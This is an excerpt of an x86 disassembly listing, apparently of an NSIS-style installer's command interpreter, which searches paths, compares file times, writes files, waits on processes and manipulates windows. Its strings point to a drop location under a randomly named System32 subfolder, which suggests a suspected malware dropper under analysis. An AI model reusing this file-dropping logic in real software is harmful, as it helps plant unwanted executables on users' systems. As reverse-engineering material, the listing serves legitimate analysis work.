		mov	eax, [ebp+arg_0]
		cmp	eax, esi
		jbe	short loc_401748
		cmp	[eax], bl
		jz	short loc_401748
		push	esi
		call	sub_405CB0
		cmp	eax, ebx
		jz	short loc_40173F
		add	eax, 2Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_4059DB
		jmp	short loc_401748
; ---------------------------------------------------------------------------


loc_40173F:				; CODE XREF: sub_401439+2E1j
					; sub_401439+2F6j
					; DATA XREF: ...
		mov	[ebp+var_4], 1
		mov	[edi], bl


loc_401748:				; CODE XREF: sub_401439+2E8j
					; sub_401439+2ECj ...
		cmp	[ebp+var_1C], ebx
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	400h
		push	edi
		push	edi
		call	ds:dword_407070	; GetShortPathNameA
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401763:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFFFh	; jumptable 0040148C case 18
		call	sub_402A9A
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		push	400h
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_40706C	; SearchPathA
		test	eax, eax


loc_40177F:				; CODE XREF: sub_4021F6+12Fj
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4026AE
; ---------------------------------------------------------------------------


loc_40178A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFEFh	; jumptable 0040148C case 19
		call	sub_402A9A
		push	eax
		push	esi
		call	sub_4056DB
		jmp	loc_4015C8
; ---------------------------------------------------------------------------


loc_40179D:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	31h		; jumptable 0040148C case 20
		call	sub_402A9A
		mov	esi, eax
		mov	eax, [ebp+var_24]
		and	eax, 7
		push	esi
		mov	[ebp+var_34], esi
		mov	[ebp+arg_0], eax
		call	sub_405554
		push	esi
		mov	esi, offset aCWindowsSyst_1 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		test	eax, eax
		jz	short loc_4017CA
		push	esi
		call	sub_4059DB
		jmp	short loc_4017E1
; ---------------------------------------------------------------------------


loc_4017CA:				; CODE XREF: sub_401439+387j
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\vMW03a"
		push	esi
		call	sub_4059DB
		push	eax
		call	sub_4054E8
		push	eax
		call	sub_4059F7	; lstrcat


loc_4017E1:				; CODE XREF: sub_401439+38Fj
		push	esi
		call	sub_405C17
		mov	edi, offset dword_40A440


loc_4017EC:				; CODE XREF: sub_401439+465j
		cmp	[ebp+arg_0], 3
		jl	short loc_401823
		push	esi
		call	sub_405CB0
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_40180E
		lea	ecx, [ebp+var_18]
		add	eax, 14h
		push	ecx
		push	eax
		call	ds:dword_407068	; CompareFileTime
		mov	ecx, eax


loc_40180E:				; CODE XREF: sub_401439+3C3j
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFDh
		or	eax, 80000000h
		and	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+arg_0], eax


loc_401823:				; CODE XREF: sub_401439+3B7j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_401839
		push	esi
		call	ds:dword_407080	; GetFileAttributesA
		and	al, 0FEh
		push	eax
		push	esi
		call	ds:dword_40708C	; SetFileAttributesA


loc_401839:				; CODE XREF: sub_401439+3EDj
		xor	eax, eax
		cmp	[ebp+arg_0], 1
		setnz	al
		inc	eax
		push	eax
		push	40000000h
		push	esi
		call	sub_4056AC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4018CD
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4018AF
		push	offset dword_430000
		push	edi
		call	sub_4059DB
		push	esi
		push	offset dword_430000
		call	sub_4059DB
		push	[ebp+var_10]
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"
		call	sub_4059FD
		push	edi
		push	offset dword_430000
		call	sub_4059DB
		mov	eax, [ebp+var_24]
		sar	eax, 3
		push	eax
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"
		call	sub_4052DB
		sub	eax, 4
		jz	loc_4017EC
		dec	eax
		jz	short loc_4018C2
		push	esi
		push	0FFFFFFFAh
		jmp	loc_401495
; ---------------------------------------------------------------------------


loc_4018AF:				; CODE XREF: sub_401439+421j
		push	[ebp+var_34]
		push	0FFFFFFE2h
		call	sub_404D7E
		cmp	[ebp+arg_0], 2
		jmp	loc_4015CA
; ---------------------------------------------------------------------------


loc_4018C2:				; CODE XREF: sub_401439+46Cj
		inc	dword_42F4A8
		jmp	loc_402938
; ---------------------------------------------------------------------------


loc_4018CD:				; CODE XREF: sub_401439+41Cj
		push	[ebp+var_34]
		push	0FFFFFFEAh
		call	sub_404D7E
		inc	dword_4092A0
		push	ebx
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_1C]
		call	sub_402EBD
		dec	dword_4092A0
		cmp	[ebp+var_18], 0FFFFFFFFh
		mov	edi, eax
		jnz	short loc_4018FE
		cmp	[ebp+var_14], 0FFFFFFFFh
		jz	short loc_401910


loc_4018FE:				; CODE XREF: sub_401439+4BDj
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	[ebp+var_8]
		call	ds:dword_407064	; SetFileTime


loc_401910:				; CODE XREF: sub_401439+4C3j
		push	[ebp+var_8]
		call	ds:dword_407060	; CloseHandle
		cmp	edi, ebx
		jge	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		cmp	edi, 0FFFFFFFEh
		jnz	short loc_401939
		push	0FFFFFFE9h
		push	esi
		call	sub_4059FD
		push	[ebp+var_34]
		push	esi
		call	sub_4059F7	; lstrcat
		jmp	short loc_401941
; ---------------------------------------------------------------------------


loc_401939:				; CODE XREF: sub_401439+4EBj
		push	0FFFFFFEEh
		push	esi
		call	sub_4059FD


loc_401941:				; CODE XREF: sub_401439+4FEj
		push	200010h
		push	esi
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_40194C:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 21
		jmp	short loc_401983
; ---------------------------------------------------------------------------


loc_40194F:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	31h		; jumptable 0040148C case 22
		call	sub_402A9A
		push	[ebp+var_24]
		push	eax
		call	sub_4052DB
		cmp	eax, ebx
		jz	loc_4026DA
		cmp	eax, [ebp+var_1C]
		jz	loc_401AB1
		cmp	eax, [ebp+var_14]
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		mov	eax, [ebp+var_10]


loc_40197C:				; DATA XREF: .data:0040E67Co
					; .data:0040E710o ...
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------


loc_401981:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFF0h	; jumptable 0040148C case 23


loc_401983:				; CODE XREF: sub_401439+514j
		call	sub_402A9A
		push	[ebp+var_20]
		push	eax
		call	sub_40531D
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401996:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 24
		call	sub_402A9A
		push	eax
		call	sub_4059F1	; lstrlen
		jmp	loc_402536
; ---------------------------------------------------------------------------


loc_4019A8:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 25
		call	sub_402A7D
		push	3
		mov	[ebp+arg_0], eax
		call	sub_402A7D
		push	1
		mov	edi, eax
		call	sub_402A9A
		cmp	[ebp+var_1C], ebx
		mov	[ebp+var_2C], eax
		mov	[esi], bl
		jz	short loc_4019D5
		cmp	[ebp+arg_0], ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66


loc_4019D5:				; CODE XREF: sub_401439+591j
		push	eax
		call	sub_4059F1	; lstrlen
		cmp	edi, ebx
		jge	short loc_4019E7
		add	edi, eax
		js	loc_40292F	; default
					; jumptable 0040148C cases 65,66


loc_4019E7:				; CODE XREF: sub_401439+5A4j
		cmp	edi, eax
		jle	short loc_4019ED
		mov	edi, eax


loc_4019ED:				; CODE XREF: sub_401439+5B0j
		mov	eax, [ebp+var_2C]
		add	eax, edi
		push	eax
		push	esi


loc_4019F4:				; DATA XREF: .data:0040E5B0o
					; .data:0040E5C0o ...
		call	sub_4059DB
		mov	edi, [ebp+arg_0]


loc_4019FC:				; DATA XREF: .data:0040E678o
					; .data:0041A6D0o
		cmp	edi, ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jge	short loc_401A15
		push	esi
		call	sub_4059F1	; lstrlen
		add	edi, eax
		jns	short loc_401A15
		mov	[ebp+arg_0], ebx
		mov	edi, ebx


loc_401A15:				; CODE XREF: sub_401439+5CBj
					; sub_401439+5D5j
		cmp	edi, 400h
		jge	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		mov	[edi+esi], bl


loc_401A24:				; DATA XREF: .data:0040E70Co
					; .data:0041A764o
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401A29:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	20h		; jumptable 0040148C case 26
		call	sub_402A9A
		push	31h
		mov	esi, eax
		call	sub_402A9A
		cmp	[ebp+var_14], ebx
		push	eax
		push	esi
		jnz	short loc_401A52
		call	ds:dword_4070A4	; lstrcmpi


loc_401A46:				; CODE XREF: sub_401439+61Fj
		test	eax, eax
		jnz	short loc_401AB1


loc_401A4A:				; CODE XREF: sub_401439+670j
					; sub_401439:loc_401AB9j ...
		mov	eax, [ebp+var_1C]
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------


loc_401A52:				; CODE XREF: sub_401439+605j
		call	ds:dword_4070E8	; lstrcmp
		jmp	short loc_401A46
; ---------------------------------------------------------------------------


loc_401A5A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		xor	edi, edi	; jumptable 0040148C case 27
		inc	edi
		push	edi
		call	sub_402A9A
		cmp	[ebp+var_1C], ebx
		push	400h
		push	esi
		push	eax
		jz	short loc_401A77


loc_401A6F:				; DATA XREF: .data:0040E614o
					; .data:0041A66Co
		call	ds:dword_4070EC	; GetEnvironmentVariableA
		jmp	short loc_401A7D
; ---------------------------------------------------------------------------


loc_401A77:				; CODE XREF: sub_401439+634j
		call	ds:dword_4070F0	; ExpandEnvironmentStringsA


loc_401A7D:				; CODE XREF: sub_401439+63Cj
		test	eax, eax
		jnz	short loc_401A86
		mov	[ebp+var_4], edi
		mov	[esi], bl


loc_401A86:				; CODE XREF: sub_401439+646j
		mov	[esi+3FFh], bl
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401A91:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 28
		call	sub_402A7D
		push	1
		mov	esi, eax
		call	sub_402A7D
		cmp	[ebp+var_10], ebx
		jnz	short loc_401AAD
		cmp	esi, eax
		jl	short loc_401AB1
		jle	short loc_401A4A
		jmp	short loc_401ABB
; ---------------------------------------------------------------------------


loc_401AAD:				; CODE XREF: sub_401439+66Aj
		cmp	esi, eax
		jnb	short loc_401AB9


loc_401AB1:				; CODE XREF: sub_401439+531j
					; sub_401439+60Fj ...
		mov	eax, [ebp+var_18]
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------


loc_401AB9:				; CODE XREF: sub_401439+676j
		jbe	short loc_401A4A


loc_401ABB:				; CODE XREF: sub_401439+672j
		mov	eax, [ebp+var_14]
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------


loc_401AC3:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 29
		call	sub_402A7D
		push	2
		mov	edi, eax
		call	sub_402A7D
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		cmp	eax, 0Ch	; switch 13 cases
		ja	short loc_401B4A ; default
		jmp	ds:off_402A49[eax*4] ; switch jump


loc_401AE4:				; DATA XREF: .text:off_402A49o
		add	edi, ecx	; jumptable 00401ADD case 0
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401AE8:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		sub	edi, ecx	; jumptable 00401ADD case 1
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401AEC:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		imul	ecx, edi	; jumptable 00401ADD case 2
		mov	edi, ecx
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401AF3:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		cmp	ecx, ebx	; jumptable 00401ADD case 3
		jz	short loc_401B39
		mov	eax, edi
		cdq
		idiv	ecx


loc_401AFC:				; CODE XREF: sub_401439+6DAj
		mov	edi, eax
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B00:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		or	edi, ecx	; jumptable 00401ADD case 4
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B04:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		and	edi, ecx	; jumptable 00401ADD case 5
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B08:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o	...
		xor	edi, ecx	; jumptable 00401ADD case 6
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B0C:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		xor	eax, eax	; jumptable 00401ADD case 7
		cmp	edi, ebx
		setz	al
		jmp	short loc_401AFC
; ---------------------------------------------------------------------------


loc_401B15:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		cmp	edi, ebx	; jumptable 00401ADD case 8
		jnz	short loc_401B27
		jmp	short loc_401B23
; ---------------------------------------------------------------------------


loc_401B1B:				; CODE XREF: sub_401439+6E8j
					; sub_401439+6ECj
		xor	edi, edi
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B1F:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		cmp	edi, ebx	; jumptable 00401ADD case 9
		jz	short loc_401B1B


loc_401B23:				; CODE XREF: sub_401439+6E0j
		cmp	ecx, ebx
		jz	short loc_401B1B


loc_401B27:				; CODE XREF: sub_401439+6DEj
		xor	edi, edi
		inc	edi
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B2C:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		cmp	ecx, ebx	; jumptable 00401ADD case 10
		jz	short loc_401B39
		mov	eax, edi
		cdq
		idiv	ecx
		mov	edi, edx
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B39:				; CODE XREF: sub_401439+6BCj
					; sub_401439+6F5j
		xor	edi, edi
		mov	[ebp+var_4], 1
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B44:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		shl	edi, cl		; jumptable 00401ADD case 11
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------


loc_401B48:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o	...
		sar	edi, cl		; jumptable 00401ADD case 12


loc_401B4A:				; CODE XREF: sub_401439+6A2j
					; sub_401439+6ADj ...
		push	edi		; default
		jmp	loc_401581
; ---------------------------------------------------------------------------


loc_401B50:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 30
		call	sub_402A9A
		push	2
		mov	edi, eax
		call	sub_402A7D
		push	eax
		push	edi
		push	esi
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 0Ch
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401B71:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	eax, [ebp+var_1C] ; jumptable 0040148C case 31
		mov	edi, dword_40B040
		cmp	eax, ebx
		jz	short loc_401BC2


loc_401B7E:				; CODE XREF: sub_401439+752j
		dec	eax
		cmp	edi, ebx
		jz	loc_402280
		mov	edi, [edi]
		cmp	eax, ebx
		jnz	short loc_401B7E
		cmp	edi, ebx
		jz	loc_402280
		add	edi, 4
		mov	esi, offset aCWindowsSyst_1 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		push	edi
		push	esi
		call	sub_4059DB
		mov	eax, dword_40B040
		add	eax, 4
		push	eax
		push	edi
		call	sub_4059DB
		mov	eax, dword_40B040
		push	esi
		add	eax, 4
		push	eax
		jmp	loc_402855
; ---------------------------------------------------------------------------


loc_401BC2:				; CODE XREF: sub_401439+743j
		cmp	[ebp+var_20], ebx
		jz	short loc_401BEC
		cmp	edi, ebx


loc_401BC9:				; DATA XREF: .data:0040F9F4o
					; .data:0041BA4Co
		jz	loc_4026DA
		lea	eax, [edi+4]
		push	eax
		push	esi
		call	sub_4059DB
		mov	eax, [edi]
		push	edi
		mov	dword_40B040, eax


loc_401BE1:				; CODE XREF: sub_401FCC+Bj
		call	ds:dword_4070F4	; GlobalFree
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401BEC:				; CODE XREF: sub_401439+78Cj
		push	404h
		push	40h
		call	ds:dword_4070F8	; GlobalAlloc
		push	[ebp+var_24]
		mov	esi, eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4059FD
		mov	eax, dword_40B040
		mov	[esi], eax
		mov	dword_40B040, esi
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401C19:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	33h		; jumptable 0040148C cases 32,33
		call	sub_402A9A


loc_401C20:				; DATA XREF: .data:0040E594o
					; .data:0041A5ECo
		push	44h
		mov	[ebp+var_8], eax
		call	sub_402A9A
		test	byte ptr [ebp+var_10], 1
		mov	[ebp+arg_0], eax
		jnz	short loc_401C3E
		push	[ebp+var_8]
		call	sub_405952
		mov	[ebp+var_8], eax


loc_401C3E:				; CODE XREF: sub_401439+7F8j
		test	byte ptr [ebp+var_10], 2
		jnz	short loc_401C4F
		push	[ebp+arg_0]
		call	sub_405952
		mov	[ebp+arg_0], eax


loc_401C4F:				; CODE XREF: sub_401439+809j
		cmp	[ebp+var_28], 21h
		push	1
		jnz	short loc_401C9B
		call	sub_402A7D
		push	2
		mov	edi, eax
		call	sub_402A7D
		mov	ecx, [ebp+var_10]
		sar	ecx, 2
		jz	short loc_401C8B
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		push	ebx
		push	[ebp+arg_0]


loc_401C76:				; DATA XREF: .data:0040E838o
					; .data:0041A890o
		push	[ebp+var_8]
		push	eax
		push	edi


loc_401C7B:				; DATA XREF: .data:0040E80Co
					; .data:0041A864o
		call	ds:dword_4071F8	; SendMessageTimeoutA
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCA
; ---------------------------------------------------------------------------


loc_401C8B:				; CODE XREF: sub_401439+832j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	eax
		push	edi
		call	ds:dword_40723C	; SendMessageA
		jmp	short loc_401CC7
; ---------------------------------------------------------------------------


loc_401C9B:				; CODE XREF: sub_401439+81Cj
		call	sub_402A9A
		push	12h
		mov	edi, eax
		call	sub_402A9A
		mov	cl, [eax]
		neg	cl
		sbb	ecx, ecx
		and	ecx, eax
		mov	al, [edi]
		neg	al
		sbb	eax, eax
		push	ecx
		and	eax, edi
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_4071FC	; FindWindowExA


loc_401CC7:				; CODE XREF: sub_401439+860j
		mov	[ebp+var_34], eax


loc_401CCA:				; CODE XREF: sub_401439+850j
					; DATA XREF: .data:0040FA1Co ...
		cmp	[ebp+var_24], ebx
		jl	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	[ebp+var_34]
		jmp	loc_401581
; ---------------------------------------------------------------------------


loc_401CDB:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 34
		call	sub_402A7D
		push	eax
		call	ds:dword_407220	; IsWindow


loc_401CE8:				; CODE XREF: sub_401439+22Dj
		test	eax, eax
		jz	loc_401A4A
		mov	eax, [ebp+var_20]
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------


loc_401CF8:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 35
		call	sub_402A7D
		push	eax
		push	1
		call	sub_402A7D
		push	eax
		call	ds:dword_407224	; GetDlgItem
		jmp	loc_402536
; ---------------------------------------------------------------------------


loc_401D13:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	eax, dword_42F468 ; jumptable 0040148C case 36
		mov	ecx, [ebp+var_20]
		add	eax, ecx
		push	eax
		push	0FFFFFFEBh
		push	ebx
		call	sub_402A7D
		push	eax
		call	ds:dword_407228	; SetWindowLongA


loc_401D2D:				; DATA XREF: .data:0040FA18o
					; .data:0041BA70o
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401D32:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	[ebp+var_20]	; jumptable 0040148C case 37
		push	[ebp+var_8]
		call	ds:dword_407224	; GetDlgItem
		mov	esi, eax
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	ds:dword_407248	; GetClientRect
		mov	eax, [ebp+var_34]
		push	10h
		imul	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_38]


loc_401D58:				; DATA XREF: .data:0040FA28o
					; .data:0041BA80o
		imul	eax, [ebp+var_1C]
		push	eax
		push	ebx
		push	ebx
		call	sub_402A9A
		push	eax
		push	ebx
		call	ds:dword_40722C	; LoadImageA
		push	eax
		push	ebx
		push	172h
		push	esi
		call	ds:dword_40723C	; SendMessageA
		cmp	eax, ebx


loc_401D7C:				; DATA XREF: .data:0040E9C0o
					; .data:0041AA18o
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	eax
		call	ds:dword_407044	; DeleteObject
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401D8E:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	48h		; jumptable 0040148C case 38
		push	5Ah
		push	[ebp+var_8]
		call	ds:dword_407230	; GetDC
		push	eax


loc_401D9C:				; DATA XREF: .data:0040E9C4o
					; .data:0041AA1Co
		call	ds:dword_407040	; GetDeviceCaps
		push	eax
		push	2
		call	sub_402A7D
		push	eax


loc_401DAB:				; DATA XREF: .data:0040FA24o
					; .data:0041BA7Co
		call	ds:dword_40712C	; MulDiv
		neg	eax
		push	3
		mov	dword_409400, eax
		call	sub_402A7D
		mov	dword_409410, eax
		mov	al, byte ptr [ebp+var_14]
		push	[ebp+var_20]
		mov	cl, al
		and	cl, 1
		mov	byte_409417, 1
		mov	byte_409414, cl
		mov	cl, al
		and	cl, 2
		and	al, 4
		push	offset dword_40941C
		mov	byte_409415, cl
		mov	byte_409416, al
		call	sub_4059FD
		push	offset dword_409400
		call	ds:dword_40704C	; CreateFontIndirectA
		jmp	loc_402536
; ---------------------------------------------------------------------------


loc_401E08:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 39
		call	sub_402A7D
		push	1
		mov	esi, eax
		call	sub_402A7D
		cmp	[ebp+var_18], ebx
		push	eax
		push	esi
		jnz	short loc_401E29
		call	ds:dword_407258	; ShowWindow
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401E29:				; CODE XREF: sub_401439+9E3j
		call	ds:dword_407234	; EnableWindow
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401E34:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 40
		call	sub_402A9A
		push	31h
		mov	esi, eax
		call	sub_402A9A
		push	22h
		mov	ebx, eax
		call	sub_402A9A
		push	ebx
		push	esi
		push	offset aSS	; "%s %s"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"
		mov	edi, eax
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 10h
		push	0FFFFFFECh
		call	sub_401428
		mov	al, [edi]
sub_401439	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401E6C	proc near		; DATA XREF: .data:0040FB3Bo
					; .data:0041BB93o
		push	dword ptr [ebp-18h]
		neg	al
		sbb	eax, eax
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\vMW03a"
		and	eax, edi
		push	eax
		mov	al, [esi]
		neg	al
		sbb	eax, eax
		push	ebx
		and	eax, esi
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_40715C
		cmp	eax, 21h
		jge	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4026DA
sub_401E6C	endp


; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 41


sub_401E9C	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx
		call	sub_402A9A
		mov	esi, eax
		push	esi
		push	0FFFFFFEBh
		call	sub_404D7E
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\vMW03a"
		push	esi
		call	sub_405263
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_4026DA
		cmp	[ebp-1Ch], ebx
		jz	short loc_401F0D
		mov	esi, ds:dword_4070FC
		jmp	short loc_401ED6
; ---------------------------------------------------------------------------


loc_401ECF:				; CODE XREF: sub_401ED8+Aj
		push	0Fh
		call	sub_405D18


loc_401ED6:				; CODE XREF: sub_401E9C+31j
		push	64h
sub_401E9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401ED8	proc near		; DATA XREF: .data:0040FBF9o
					; .data:0041BC51o
		push	dword ptr [ebp+8]
		call	esi	; WaitForSingleObject
		cmp	eax, 102h
		jz	short loc_401ECF
		lea	eax, [ebp-34h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_407100	; GetExitCodeProcess
		cmp	[ebp-20h], ebx
		jl	short loc_401F01
		push	dword ptr [ebp-34h]
		push	edi
		call	sub_405939
		jmp	short loc_401F0D
; ---------------------------------------------------------------------------


loc_401F01:				; CODE XREF: sub_401ED8+1Cj
		cmp	[ebp-34h], ebx
		jz	short loc_401F0D
		mov	dword ptr [ebp-4], 1


loc_401F0D:				; CODE XREF: sub_401E9C+29j
					; sub_401ED8+27j ...
		push	dword ptr [ebp+8]


loc_401F10:				; CODE XREF: sub_4021F6+31Fj
		call	ds:dword_407060	; CloseHandle
		jmp	loc_40292F	; default
sub_401ED8	endp			; jumptable 0040148C cases 65,66

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401439


loc_401F1B:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 42
		call	sub_402A9A
		push	eax
		call	sub_405CB0
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_401F42
		mov	ebx, eax
		push	dword ptr [ebx+14h]
		push	edi
		call	sub_405939
		push	dword ptr [ebx+18h]
		jmp	loc_401581
; ---------------------------------------------------------------------------


loc_401F42:				; CODE XREF: sub_401439+AF4j
		mov	[esi], bl
		mov	[edi], bl
		jmp	loc_4026DA
; ---------------------------------------------------------------------------


loc_401F4B:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		lea	eax, [ebp+var_58] ; jumptable 0040148C case 43
		push	0FFFFFFEEh
		mov	[ebp+arg_0], eax
		call	sub_402A9A
		lea	ecx, [ebp+var_30]
		mov	[ebp+var_2C], eax
		push	ecx
		push	eax
		call	sub_406BF8
		mov	[esi], bl
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		mov	[edi], bl
		mov	[ebp+var_4], 1
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	eax
		push	40h
		call	ds:dword_4070F8	; GlobalAlloc
		cmp	eax, ebx
		mov	[ebp+var_34], eax
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	eax
		push	[ebp+var_8]
		push	ebx
		push	[ebp+var_2C]
		call	sub_406BF2
		test	eax, eax
		jz	short loc_401FD4
		lea	eax, [ebp+var_44]
		push	eax
; END OF FUNCTION CHUNK	FOR sub_401439

; =============== S U B	R O U T	I N E =======================================



sub_401FA4	proc near		; DATA XREF: .data:0040FCB4o
					; .data:0041BD0Co
		lea	eax, [ebp+8]
		push	eax
		push	offset dword_409010
		push	dword ptr [ebp-34h]
		call	sub_406BEC
		test	eax, eax
		jz	short loc_401FD4
		mov	eax, [ebp+8]
